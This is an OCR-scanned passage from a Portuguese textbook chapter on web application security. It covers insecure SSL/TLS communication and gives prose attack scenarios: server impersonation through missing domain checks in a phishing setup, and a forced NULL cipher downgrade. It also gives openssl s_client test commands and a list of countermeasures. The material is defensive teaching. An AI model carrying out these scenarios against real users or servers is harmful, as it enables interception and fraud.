que 0 mesmo recurso seja acessado, também, por meio de HTTP simples. Assim,
sem muita dificuldade, um usudrio pode ser induzido a acessar paginas sensiveis, por
meio de HTTP, quando, entao, informacao podera ser capturada em transito.

Do lado cliente, os problemas surgem quando as informacoes do certificado
digital apresentado pelo servidor nao sao validadas, ou quando o protocolo nao é
seguido a risca. Logo, se a data do acesso estiver fora do prazo de validade do
certificado, se ele estiver revogado ou se nao for possivel verificar as assinaturas di-
gitais na cadeia de certificacao, o handshake deve ser finalizado com erro. Outro
aspecto importante considerado na especificacao do HT'TPS, mas nao pelos proto-
colos SSL/TLS, é que o nome do dominio sendo acessado deve ser conferido com
o contido no certificado (Howard et al., 2005; Oaks, 2001). O resultado da nao
observagao deste ponto é descrito no Cendrio 1, da Secao 6.5.7.2.

Por fim, observe-se a Figura 6.17 novamente. O navegador, face a um pro-
blema na negociagao do protocolo SSL, da a opcao ao usuario, potencialmente leigo
em seguranga, de adicionar uma excegao e continuar o acesso ao site. Entregar
uma decisao de seguranga ao usudrio ¢, conforme Howard et al. (2005), uma vul-
nerabilidade, pois nao se pode esperar que ele sempre escolha a op¢ao mais segura.
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Consonantemente, os autores consideram que isso seja um defeito de projeto dos
navegadores, que deveriam considerar uma falha no estabelecimento do tinel SSL,
como um problema de conectividade de rede, por exemplo, no qual o usuario é
impedido de prosseguir.

6.5.7.2. Cenarios de Exploracao

Cenario 1: Personificacao de servidor

Este cenario considera um navegador web que nao verifica se 0 nome de dominio do
site sendo acessado é o mesmo que o contido no certificado digital apresentado pelo
servidor:

1. O atacante obtém um certificado digital e chave privada correspondente va-
lidos, de um dominio XYZ qualquer, por meio da exploracao de um servidor
vulneravel, ou gerando as chaves e comprando o certificado de uma autoridade
certificadora com processos de verificacao de identidade ineficazes.

2. Um servidor web é criado com contetdo clonado do dominio ABC e com HTTPS
configurado com o par de chaves do primeiro passo.

3. Um e-mail é enviado a um conjunto de vitimas para que acessem o servidor
malicioso, como sendo do dominio ABC.

4. Durante a negociacao SSL, o servidor clonado envia o certificado do dominio
XYZ para o navegador, que verifica, com sucesso, data de validade, assinaturas
da cadeia de certificacao e estado nao revogado, mas nao valida o dominio.
Como nenhum erro ocorre, a chave publica é extraida e utilizada para compor
a mensagem client_key_exchange, enviada, em seguida, ao servidor.

5. O servidor é capaz de extrair o conteido da mensagem client_key_exchange,
pois possui a chave privada associada ao certificado do dominio XYZ, e com-
pletar as operacoes para estabelecimento de chaves.

6. As mensagens change_cipher_spec e finished sao trocadas entre as duas
partes e o protocolo encerra-se normalmente, com a vitima conectada a um
servidor falsificado.

Cenario 2: Comunicagao em claro
Considere-se um servidor web configurado para aceitar suites criptografica fracas.
A exploracao dessa vulnerabilidade pode ocorrer da seguinte maneira:

1. Por meio de outra vulnerabilidade no cliente, o atacante forca que a lista de
suites enviadas na mensagem client_hello contenha apenas a NULL-SHA.

2. O servidor escolhe os algoritmos para protecao do tunel SSL, com base na
interseccao das listas de suites suportadas por ambos que, no caso, é a prépria
NULL-SHA.
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3. O atacante captura os pacotes de rede e extrai as informagoes desejadas que,
embora encapsuladas por SSL, nao estao cifradas, conforme pode-se observar
pela Figura 6.18.
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Figura 6.18. Trafego TLS em claro.

6.5.7.3. Testes

Para testar a seguranca da comunicacao com a aplicagao web, siga o seguinte roteiro:

1. Acesse a aplicacao web com os principais navegadores e verifique se algum
deles reclama do certificado apresentado pelo servidor.

2. Para verificar quais suites criptogréaficas sao suportadas, utilize o OpenSSL,
com a seguinte sintaxe:
openssl s_client —-connect <IP servidor>:<porta> -cipher <suite>

Por exemplo, para testar se a suite NULL-MD5 é suportada pelo servidor com
IP 192.168.10.100, execute o comando abaixo e verifique se algum erro ocorre:

openssl s_client -connect 192.168.10.100:443 -cipher NULL-MD5
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SSL handshake has read 2912 bytes and written 228 bytes
New, TLSv1/SSLv3, Cipher is NULL-MD5
Server public key is 1024 bit
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSvl
Cipher : NULL-MD5

Alternativamente, utilize o utilitario SSLDigger da Foundstone, que, além de
verificar as suites e protocolos suportados, atribui uma nota denotando o nivel
de seguranca estimado da configuracao.

. Para testar se SSL 2.0 é suportado, uma variante do comando acima pode ser

empregada:

openssl s_client -ssl2 -connect <IP servidor>:<porta>

. Navegue pela aplicacao e levante todas as péaginas que sao acessiveis por

HTTPS. Para cada uma delas, altere o protocolo para HT'TP e verifique se a
aplicacao continua atendendo a requisicao.

. Acesse os arquivos de configuracao do servidor SSL/TLS e verifique se a chave

privada é carregada automaticamente, a partir de um arquivo com senha em-
butida.

. Se houver desenvolvimento de cliente SSL/TLS, instale um servidor web com

esses protocolos configurados e acesse-o com o primeiro. Utilize, alternada-
mente, certificados vencidos, revogados e com nome de dominio diferente do
campo CN; e verifique se o software aponta o erro na negociacao do protocolo.

6.5.7.4. Contramedidas

Os seguintes pontos devem ser observados para evitar-se uma comunicagao insegura
com a aplicacao web:

1. Configure o servidor para aceitar apenas suites criptograficas fortes, descar-

tando, assim, algoritmos de exportagao, datados e quebrados.

2. Nao utilize versoes de SSL anteriores a 3.0 e prefira o uso do protocolo TLS.

3. Compre e instale um certificado digital de uma autoridade certificadora co-

nhecida e confidvel. Nao deixe que o certificado expire, comprando um novo,
antes que isso aconteca.
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4. Nao permita que um recurso servido por meio do protocolo HT'TPS seja aces-
sivel por HTTP.

5. Proteja a chave privada do servidor, preferencialmente, partilhando-a entre
varios custodiantes e fornecendo-a ao sistema, sempre que necessario, por meio
de cerimonia oficial.

6. Caso implemente o lado cliente dos protocolos SSL/TLS, lembre-se sempre
de verificar a validade do certificado recebido e conferir o nome de dominio
acessado contra o contido no certificado.

6.6. Consideracgoes Finais

A maior parcela das vulnerabilidades encontradas, nos 1ltimos anos, estd relacio-
nada a aplicagoes web. Essa realidade é decorrente, primeiro, da massificagao desse
tipo de sistema, que, atualmente, é empregado para comércio eletronico, internet
banking, apresentacao de exames laboratoriais, interacao com o governo, ensino a
distancia e gerenciamento de equipamentos de redes, entre diversos outros exem-
plos. Em segundo lugar, ¢é resultado de ciclos de desenvolvimento de software que
nao consideram seguranga em (quase) nenhuma das etapas do processo.

O OWASP Top Ten e demais projetos do grupo tém o objetivo de sensibilizar
a comunidade para esses problemas que afetam aplicacoes web, definir as melhores
praticas do setor e fornecer metodologias e ferramentas para testar a (in)seguranca
desses sistemas. Todo o esfor¢o dessas iniciativas foi reconhecido pela industria de
cartoes de pagamento, que incluiu, como requisito explicito dos padroes PCI DSS
(PCI, 2009a) e PCI PA-DSS (PCI, 2009b), a necessidade de controles para todos os
itens do Top Ten. E primordial que essa preocupacao se estenda a todos aqueles que
desenvolvem software para web, pois, a cada dia, informagoes cada vez mais criticas
sao manipuladas nesses ambientes. Se isso nao ocorrer, os ataques resultarao em
prejuizos financeiros cada vez maiores e violacoes freqiientes de privacidade.
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